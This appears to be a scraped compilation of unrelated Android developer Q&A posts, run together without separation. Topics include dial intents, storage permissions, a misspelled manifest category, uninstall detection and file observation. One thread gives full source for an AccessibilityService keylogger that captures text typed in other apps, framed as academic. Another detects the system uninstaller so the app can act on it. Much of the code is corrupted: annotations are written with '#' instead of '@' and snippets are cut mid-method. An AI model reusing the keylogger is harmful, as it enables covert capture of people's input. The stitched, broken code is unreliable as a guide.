I have a few numbers in an activity which I would like to be-able to make selectable, like a hyperlink. When the number is pressed it should call the number. I have checked the Android API but wasn't successful.
Anyone have any ideas?
Code for the button from the comment below is:
DialButton=(Button)findViewById( R.id.dialbutton );
DialButton.setOnClickListener(new View.OnClickListener()
{
public void onClick(View view)
{
if(number!=null){
try {
startActivity(new Intent(Intent.ACTION_CALL, Uri.parse("tel:" + number.getText())));
} catch (Exception e) {
e.printStackTrace();
}
}//if
}
});
So what gives? Also in the "AndroidManifest.xml" file I specified the permissions like this:
<uses-permission android:name="android.permission.CALL_PRIVILEGED" />
<application android:icon="#drawable/icon" android:label="#string/app_name">
<activity android:name=".main"
android:label="#string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
Is this wrong? Is the permission in the wrong place?
<TextView
android:text="+1........"
android:autoLink="phone" />

Also, don't forget to add a corresponding permission to manifest file
<uses-permission android:name="android.permission.CALL_PHONE" />

I am working on an Android app (academic purposes) and as part of the app I want to integrate a Keylogger. Following this answer Android Key logger I tried to implement it using AccessibilityService. The code for my class, called Keylogger.java, is the following:
import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
public class Keylogger extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int tipo = event.getEventType();
switch(tipo) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
default:
break;
}
}
#Override
public void onInterrupt() {
}
#Override
public void onServiceConnected() {
Log.d("Keylogger", "Starting service");
}
}
The Manifest file looks like this:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:roundIcon="#mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="#style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ChatBoxActivity">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Keylogger"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="#xml/accessibility_service_config" />
</service>
</application>
and finally, the Configuration file for the service:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />
When I install the app on the device it works just fine (that is, I get no errors), and I can manually activate the service going to Settings >> Accessibility. But nothing happens next. I tried everything (launch other applications and type some text) but the prints that I placed on each case will not show up. The app does several things but from my understanding the service should work automatically. What am I missing and how can I get it right?
Thank you in advance.

Here's a android accessibility Keylogger I've used before , and works nice
I guess you can compare your application with that Keylogger , you might find your mistake
Yesterday i post this question and some one replied me by peace of codes but the problem is permission denied. i do not know why happen this error because i have allowed permission in my manifest.xml. below is peace of code.
This is java code
public void WriteText() {
EditText txt= (EditText) findViewById(R.id.txtwrite);
try {
BufferedWriter fos = new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().getAbsolutePath() +"/"+"File.txt"));
fos.write(txt.getText().toString().trim());
fos.close();
Toast.makeText(this, "Saved", Toast.LENGTH_LONG);
} catch (Exception e) {
Toast.makeText(this,e.getMessage(),Toast.LENGTH_LONG);
}
}
This is manifest.xml
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"

</activity>
</application>
Please any one help me i was so Straggled about it.
I looked in to everything before ask this. I am implementing an application and new to android, I need to redirect to my mapview xml when login button click. So i have written the intent plus made the activity in manifest file and tried writing codes every possible different way. And the code doesn't give any errors. But my emulator stops after launching.
I know something is wrong but I can't figure it out. Any idea why that happens?
here is my code
public class MainActivity extends Activity {
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final Button button=(Button)findViewById(R.id.loginbtn);
button.setOnClickListener(new View.OnClickListener()
{
#Override
public void onClick(View v)
{
switch (v.getId()) {
case R.id.loginbtn:
Intent intent = new Intent (MainActivity.this, MapView.class);
startActivity (intent);
break;
default:
break;}
}
}
);
}
}
/*if(username.getText().toString()==""&&password.getText().toString()=="")
{
Intent i= new Intent("com.example.shaz.MAPVIEW");
startActivity(i);
}
else
{
txt.setText("False");
}
*/
Manifest
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.myname"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="17"
android:targetSdkVersion="17" />
<application
android:allowBackup="true"
android:icon="#drawable/ic_launcher"
android:label="#string/app_name"
android:theme="#style/AppTheme" >
<activity
android:name="com.example.myname.MainActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".mapView"
android:label="#string/app_name" >
<intent-filter>
<action android:name="com.example.myname.MAPVIEW" />
<category android:name="android.intent.category.DEFUALT" />
</intent-filter>
</activity>
</application>
</manifest>
I have also created an xml file for map called map_view in my layouts.
So in every where I searched this is how they say new intent is creating .
And the emulator works fine if I do something else than this redirection. SO what ever problem I got is within this redirection part.
DEFAULT is spelled incorrectly in your Manifest
Change:
<category android:name="android.intent.category.DEFUALT" />
for this:
<category android:name="android.intent.category.DEFAULT" />
When user want to uninstall app from android device, I want user uninstall button click event for that application.
I am getting event of application is removed from device, but I want to show pop-up before application is removed. I am trying to achieve same like doing in 'App Lock' application.
Here is my code to get application removed event through broadcast receiver. But I am totally blank about uninstall button click or before pop-up click. Please guide me in right direction.
Thanks in advance.

if (intent != null) {
String action = intent.getAction();
System.out.println("L1123 : "+action);
if (action.equals(intent.ACTION_PACKAGE_REMOVED)) {
//Log the event capture in the log file ...
System.out.println("The package has been removed");

Please try to get the top activity in the task via ActivityManager, and check if it is the uninstall activity.
Core code:
ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;
String packageName = topActivity.getPackageName();
String className = topActivity.getClassName();
Log.v(TAG, "packageName" + packageName);
Log.v(TAG, "className" + className);
if ("com.android.packageinstaller".equals(packageName)
&& "com.android.packageinstaller.UninstallerActivity".equals(className)) {
//Do anything you want here
}

String item=filenames.get(position);
String ext = item.substring(item.lastIndexOf(".")+1);

if (requestCode == EDIT_CONTACT_RESULT) {
// Make sure the request was successful
if (resultCode == RESULT_OK) {
Toast.makeText(getBaseContext(), "edited", Toast.LENGTH_LONG).show();
}
}
}
but the onactivityresult method is not getting called when i save the edit changes. how can i get notified when an edit occurred in opened file. please help me in solving this problem.
i am using the android vesion-4.0.3.
Based on the fact that you are getting onActivityResult() called with RESULT_CANCELED, I'm assuming that whatever activity is launched when you invoke the EDIT action is running in another task. In this case you cannot rely on getting a useful result back from startActivityOnResult().
To see if the file has been modified, you probably need to use a different approach. Try implementing a FileObserver to watch the file that you are editing and listen for the MODIFY event.
